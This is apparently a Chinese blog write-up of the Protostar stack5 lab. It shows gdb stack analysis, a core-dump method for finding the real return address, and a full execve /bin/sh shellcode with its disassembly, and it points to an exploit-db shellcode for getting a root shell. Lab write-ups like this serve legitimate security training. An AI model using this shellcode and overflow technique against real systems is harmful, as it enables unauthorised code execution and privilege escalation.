protostar_stack5

这次的练习很难,要真正的实现一个shellcode
 
 
那么我们先来了解一下最简单的shellcode:
 
这个运行的结果是在shell中产生一个新的shell。
 
和以往一样,首先查看目标文件的内容,main函数部分:
 
gdb调试,在main处设置断点,查看断点的信息:
 
我们发现:
esp 0xbffffcd0
ebp 0xbffffd28 = esp + 88
buffer esp + 16
我们把那个最简单的shellcode反汇编之后的结果加进去!
但是这个产生了段错误!
 
经过查阅资料,我了解到产生段错误的原因是由于gdb中调试的栈,和真实运行的栈的位置,不一定相同!!
所以要通过调试dump core文件来查看真实的栈的位置!
 
首先打开 core dump设置,用ulimit -c unlimited命令
 
我们在tmp目录下找到了刚刚生成的core文件!
 
结果如下:
 
 
所以,我们应该把返回地址设为 0x bffffd50!
 
我们插入的简单的shellcode是:"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
 
  31 c0                        xor %eax,%eax
  50                             push %eax
  68 6e 2f 73 68          push $0x68732f6e
  68 2f 2f 62 69           push $0x69622f2f
  89 e3                        mov %esp,%ebx
  50                             push %eax
  53                             push %ebx
  89 e1                        mov %esp,%ecx
  b0 0b                        mov $0xb,%al
  cd 80                        int $0x80
 
这是一段启动shell的命令,效果如下:
 
 
刚才为了调试打开dump core设置,进入了root用户,在返回地址的前面加上几个NOP,防止指令损坏什么的。既然可以执行我们想要执行的shellcode,那么也可以用更牛逼的shellcode,比如在普通用户的shell中执行shellcode进入root命令行!
这里面最后有一个例子
作者使用了 http://www.exploit-db.com/exploits/13357/这个例子,使得从普通shell获得了root shell!
另外作者推荐了两个网站:
 
可是,让我感到痛苦的就是那个gdb的问题,这个真是令人意想不到,原来gdb中的地址也不是真实的,好吧。
 
 
 
 





转载于:https://www.cnblogs.com/ydfr/p/3189468.html

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值